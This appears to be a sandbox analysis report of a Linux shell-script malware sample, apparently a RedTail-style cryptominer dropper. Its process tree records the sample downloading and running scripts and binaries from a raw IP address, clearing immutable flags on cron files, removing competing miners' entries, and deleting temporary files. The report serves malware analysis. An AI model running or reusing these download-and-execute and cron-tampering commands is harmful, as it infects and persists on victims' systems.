Analysis

  • max time kernel
    18s
  • max time network
    85s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    17/05/2026, 14:33

General

  • Target
    sh
  • Size 2KB
  • Sample260517-rw5fzshz21
  • SHA256 cf2e415e08962a3723b159e40653f9e85c34d2b29376dddbc280aaaafc5b8118
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Attempts to change immutable files 22 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads network interface configuration 2 TTPs 6 IoCs

    Fetches information about one or more active network interfaces.

  • Reads CPU attributes 1 TTPs 7 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sh
    /tmp/sh
    1⤵
      PID:650
      • /bin/grep
        grep noexec
        2⤵
          PID:663
        • /bin/cat
          cat /proc/mounts
          2⤵
            PID:661
          • /usr/bin/awk
            awk "{print \$2}"
            2⤵
              PID:664
            • /usr/bin/whoami
              whoami
              2⤵
                PID:676
              • /usr/bin/find
                find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*"
                2⤵
                • Reads network interface configuration
                • Reads CPU attributes
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                PID:678
              • /bin/uname
                uname -mp
                2⤵
                  PID:764
                • /usr/bin/tr
                  tr -d " "
                  2⤵
                    PID:770
                  • /usr/bin/od
                    od -An -N2 -i /dev/urandom
                    2⤵
                      PID:769
                    • /usr/bin/expr
                      expr 24545 "%" 32 + 4
                      2⤵
                        PID:771
                      • /usr/bin/tr
                        tr -dc A-Za-z0-9
                        2⤵
                          PID:774
                        • /usr/bin/head
                          head -c 5
                          2⤵
                            PID:775
                          • /usr/bin/openssl
                            openssl rand -base64 256
                            2⤵
                              PID:773
                            • /usr/bin/touch
                              touch .testfile
                              2⤵
                                PID:776
                              • /bin/dd
                                dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
                                2⤵
                                  PID:778
                                • /bin/rm
                                  rm -rf .testfile .testfile2
                                  2⤵
                                    PID:779
                                  • /bin/rm
                                    rm -rf clean
                                    2⤵
                                      PID:780
                                    • /usr/bin/wget
                                      wget --no-check-certificate -q https://121.176.14.102/clean
                                      2⤵
                                        PID:781
                                      • /bin/chmod
                                        chmod +x clean
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:782
                                      • /bin/sh
                                        sh clean
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:783
                                        • /bin/systemctl
                                          systemctl disable c3pool_miner
                                          3⤵
                                            PID:784
                                          • /bin/systemctl
                                            systemctl stop c3pool_miner
                                            3⤵
                                              PID:785
                                            • /usr/bin/chattr
                                              chattr -ia /var/spool/cron/crontabs
                                              3⤵
                                              • Attempts to change immutable files
                                              PID:786
                                            • /usr/bin/chattr
                                              chattr -ia /etc/crontab
                                              3⤵
                                              • Attempts to change immutable files
                                              PID:787
                                            • /bin/grep
                                              grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/crontab
                                              3⤵
                                              • Attempts to change immutable files
                                              PID:788
                                            • /bin/mv
                                              mv /tmp/clean_crontab /etc/crontab
                                              3⤵
                                                PID:789
                                              • /usr/bin/chattr
                                                chattr -ia /etc/cron.hourly
                                                3⤵
                                                • Attempts to change immutable files
                                                PID:790
                                              • /usr/bin/chattr
                                                chattr -ia /etc/cron.daily
                                                3⤵
                                                • Attempts to change immutable files
                                                PID:791
                                              • /usr/bin/chattr
                                                chattr -ia /etc/cron.daily/apt-compat
                                                3⤵
                                                • Attempts to change immutable files
                                                PID:792
                                              • /bin/grep
                                                grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/apt-compat
                                                3⤵
                                                • Attempts to change immutable files
                                                PID:793
                                              • /bin/mv
                                                mv /tmp/clean_crontab /etc/cron.daily/apt-compat
                                                3⤵
                                                  PID:794
                                                • /usr/bin/chattr
                                                  chattr -ia /etc/cron.daily/bsdmainutils
                                                  3⤵
                                                  • Attempts to change immutable files
                                                  PID:795
                                                • /bin/grep
                                                  grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/bsdmainutils
                                                  3⤵
                                                  • Attempts to change immutable files
                                                  PID:796
                                                • /bin/mv
                                                  mv /tmp/clean_crontab /etc/cron.daily/bsdmainutils
                                                  3⤵
                                                  • Reads runtime system information
                                                  PID:797
                                                • /usr/bin/chattr
                                                  chattr -ia /etc/cron.daily/dpkg
                                                  3⤵
                                                  • Attempts to change immutable files
                                                  PID:798
                                                • /bin/grep
                                                  grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/dpkg
                                                  3⤵
                                                  • Attempts to change immutable files
                                                  PID:799
                                                • /bin/mv
                                                  mv /tmp/clean_crontab /etc/cron.daily/dpkg
                                                  3⤵
                                                    PID:800
                                                  • /usr/bin/chattr
                                                    chattr -ia /etc/cron.daily/exim4-base
                                                    3⤵
                                                    • Attempts to change immutable files
                                                    PID:801
                                                  • /bin/grep
                                                    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/exim4-base
                                                    3⤵
                                                    • Attempts to change immutable files
                                                    PID:802
                                                  • /bin/mv
                                                    mv /tmp/clean_crontab /etc/cron.daily/exim4-base
                                                    3⤵
                                                      PID:803
                                                    • /usr/bin/chattr
                                                      chattr -ia /etc/cron.daily/logrotate
                                                      3⤵
                                                      • Attempts to change immutable files
                                                      PID:804
                                                    • /bin/grep
                                                      grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/logrotate
                                                      3⤵
                                                      • Attempts to change immutable files
                                                      PID:805
                                                    • /bin/mv
                                                      mv /tmp/clean_crontab /etc/cron.daily/logrotate
                                                      3⤵
                                                        PID:806
                                                      • /usr/bin/chattr
                                                        chattr -ia /etc/cron.daily/passwd
                                                        3⤵
                                                        • Attempts to change immutable files
                                                        PID:807
                                                      • /bin/grep
                                                        grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/passwd
                                                        3⤵
                                                        • Attempts to change immutable files
                                                        PID:808
                                                      • /bin/mv
                                                        mv /tmp/clean_crontab /etc/cron.daily/passwd
                                                        3⤵
                                                          PID:809
                                                        • /usr/bin/chattr
                                                          chattr -ia /etc/cron.weekly
                                                          3⤵
                                                          • Attempts to change immutable files
                                                          PID:810
                                                        • /usr/bin/chattr
                                                          chattr -ia /etc/cron.monthly
                                                          3⤵
                                                          • Attempts to change immutable files
                                                          PID:811
                                                        • /usr/bin/chattr
                                                          chattr -ia /etc/cron.d
                                                          3⤵
                                                          • Attempts to change immutable files
                                                          PID:812
                                                        • /usr/bin/chattr
                                                          chattr -ia /etc/anacrontab
                                                          3⤵
                                                          • Attempts to change immutable files
                                                          PID:813
                                                        • /bin/grep
                                                          grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/anacrontab
                                                          3⤵
                                                          • Attempts to change immutable files
                                                          PID:814
                                                        • /bin/mv
                                                          mv /tmp/clean_crontab /etc/anacrontab
                                                          3⤵
                                                            PID:815
                                                          • /bin/rm
                                                            rm -rf /tmp/sh /tmp/systemd-private-65fc85c1c3b44604816764b7b94d2e95-systemd-timedated.service-o5QRoW
                                                            3⤵
                                                              PID:816
                                                            • /bin/rm
                                                              rm -rf /var/tmp/systemd-private-65fc85c1c3b44604816764b7b94d2e95-systemd-timedated.service-4eXtzR
                                                              3⤵
                                                                PID:817
                                                              • /bin/rm
                                                                rm -rf "/dev/shm/*"
                                                                3⤵
                                                                  PID:818
                                                              • /bin/rm
                                                                rm -rf clean
                                                                2⤵
                                                                  PID:819
                                                                • /bin/rm
                                                                  rm -rf .redtail
                                                                  2⤵
                                                                    PID:820
                                                                  • /bin/rm
                                                                    rm -rf .X6zTi
                                                                    2⤵
                                                                      PID:821
                                                                    • /bin/grep
                                                                      grep -q x86_64
                                                                      2⤵
                                                                        PID:823
                                                                      • /bin/grep
                                                                        grep -q amd64
                                                                        2⤵
                                                                          PID:825
                                                                        • /bin/grep
                                                                          grep -q "i[3456]86"
                                                                          2⤵
                                                                            PID:827
                                                                          • /bin/grep
                                                                            grep -q armv8
                                                                            2⤵
                                                                              PID:829
                                                                            • /bin/grep
                                                                              grep -q aarch64
                                                                              2⤵
                                                                                PID:831
                                                                              • /bin/grep
                                                                                grep -q armv7
                                                                                2⤵
                                                                                  PID:833
                                                                                • /bin/rm
                                                                                  rm -rf arm7
                                                                                  2⤵
                                                                                    PID:834
                                                                                  • /usr/bin/wget
                                                                                    wget --no-check-certificate -q https://121.176.14.102/arm7
                                                                                    2⤵
                                                                                      PID:835

                                                                                  Network

                                                                                        MITRE ATT&CK Enterprise v16

                                                                                        Replay Monitor

                                                                                        Loading Replay Monitor...

                                                                                        Downloads

                                                                                        .testfile2

                                                                                        • Path /.testfile2
                                                                                        • Size 2.0MB
                                                                                        • SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                        clean

                                                                                        • Path /clean
                                                                                        • Size 795B
                                                                                        • SHA256 d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        clean_crontab

                                                                                        • Path /tmp/clean_crontab
                                                                                        • Size 279B
                                                                                        • SHA256 340dfc483eb79b83b0630b1c0b339e30ebd724ef2f58bb87ba92946472e8e63d
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        clean_crontab

                                                                                        • Path /tmp/clean_crontab
                                                                                        • Size 1KB
                                                                                        • SHA256 eff406c0943e1399e3e15fdb6ca2893a187d6b273f5bd9d17eec4e4b4c52b8cd
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        clean_crontab

                                                                                        • Path /tmp/clean_crontab
                                                                                        • Size 3KB
                                                                                        • SHA256 a452648bb2e987dfbea6d16656f8009e641b215c69835cee79f108030be8ec7f
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        clean_crontab

                                                                                        • Path /tmp/clean_crontab
                                                                                        • Size 722B
                                                                                        • SHA256 0e5c204385b21e15b031c83f37212bf5a4ee77b51762b7b54bd6ad973ebdf354
                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                        clean_crontab

                                                                                        • Path /tmp/clean_crontab
                                                                                        • Size 1KB
                                                                                        • SHA256 8eeae3a9df22621d51062e4dadfc5c63b49732b38a37b5d4e52c99c2237e5767
                                                                                        • MD5 SHA1 SHA512 TLSH